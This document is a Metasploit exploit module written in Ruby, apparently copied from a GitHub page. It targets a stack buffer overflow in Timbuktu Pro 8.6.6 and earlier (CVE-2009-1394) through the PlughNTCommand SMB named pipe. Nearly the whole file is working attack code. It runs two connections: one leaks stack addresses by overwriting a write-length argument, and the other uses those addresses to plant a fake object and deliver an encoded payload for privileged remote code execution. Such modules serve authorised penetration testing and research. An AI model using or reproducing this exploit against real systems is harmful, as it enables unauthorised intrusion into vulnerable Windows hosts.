Path: blob/master/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SMB::Client910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Timbuktu PlughNTCommand Named Pipe Buffer Overflow',15'Description' => %q{16This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.617in a pretty novel way.1819This exploit requires two connections. The first connection is used to leak stack data20using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying21a large value for this argument it is possible to cause Timbuktu to reply to the initial22request with leaked stack data. Using this data allows for reliable exploitation of the23buffer overflow vulnerability.2425Props to Infamous41d for helping in finding this exploitation path.2627The second connection utilizes the data from the data leak to accurately exploit28the stack based buffer overflow vulnerability.2930TODO:31hdm suggested using meterpreter's migration capability and restarting the process32for multishot exploitation.33},34'Author' => [ 'bannedit' ],35'License' => MSF_LICENSE,36'References' => [37[ 'CVE', '2009-1394' ],38[ 'OSVDB', '55436' ],39[ 'BID', '35496' ],40[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809' ],41],42'DefaultOptions' => {43'EXITFUNC' => 'process',44},45'Payload' => {46'Space' => 2048,47},48'Platform' => 'win',49'Targets' => [50# we use a memory leak technique to get the return address51# tested on Windows XP SP2/SP3 may require a bit more testing52[53'Automatic Targeting',54{55# ntdll .data (a fairly reliable address)56# this address should be relatively stable across platforms/SPs57'Writable' => 0x7C97B0B0 + 0x10 - 0xc58}59],60],61'Privileged' => true,62'DisclosureDate' => '2009-06-25',63'DefaultTarget' => 0,64'Notes' => {65'Reliability' => UNKNOWN_RELIABILITY,66'Stability' => UNKNOWN_STABILITY,67'SideEffects' => UNKNOWN_SIDE_EFFECTS68}69)70)7172deregister_options('SMB::ProtocolVersion')73end7475# we make two connections this code just wraps the process76def smb_connection77connect(versions: [1])78smb_login()7980print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")8182pipe = simple.create_pipe('\\PlughNTCommand')8384fid = pipe.file_id85trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')8687return pipe88end8990def mem_leak91pipe = smb_connection()9293print_status("Constructing memory leak...")9495writable_addr = target['Writable']9697buf = make_nops(114)98buf[0] = "3 " # specifies the command99buf[94] = [writable_addr].pack('V') # this helps us by pass some checks in the code100buf[98] = [writable_addr].pack('V')101buf[110] = [0x1ff8].pack('V') # number of bytes to leak102103pipe.write(buf)104leaked = pipe.read()105leaked << pipe.read()106107if (leaked.length < 0x1ff8)108print_error("Error: we did not get back the expected amount of bytes. We got #{leaked.length} bytes")109pipe.close110disconnect111return112end113114offset = 0x1d64115stackaddr = leaked[offset, 4].unpack('V')[0]116bufaddr = stackaddr - 0xcc8117118print_status "Stack address found: stack #{sprintf("0x%x", stackaddr)} buffer #{sprintf("0x%x", bufaddr)}"119120print_status("Closing connection...")121pipe.close122disconnect123124return stackaddr, bufaddr125end126127def exploit128stackaddr, bufaddr = mem_leak()129130if (stackaddr.nil? || bufaddr.nil?) # just to be on the safe side131print_error("Error: memory leak failed")132return133end134135pipe = smb_connection()136137buf = make_nops(1280)138buf[0] = "3 "139buf[94] = [bufaddr + 272].pack('V') # create a fake object140buf[99] = "\x00"141buf[256] = [bufaddr + 256].pack('V')142buf[260] = [bufaddr + 288].pack('V')143buf[272] = "\x00"144buf[512] = payload.encoded145146pipe.write(buf)147end148end149150151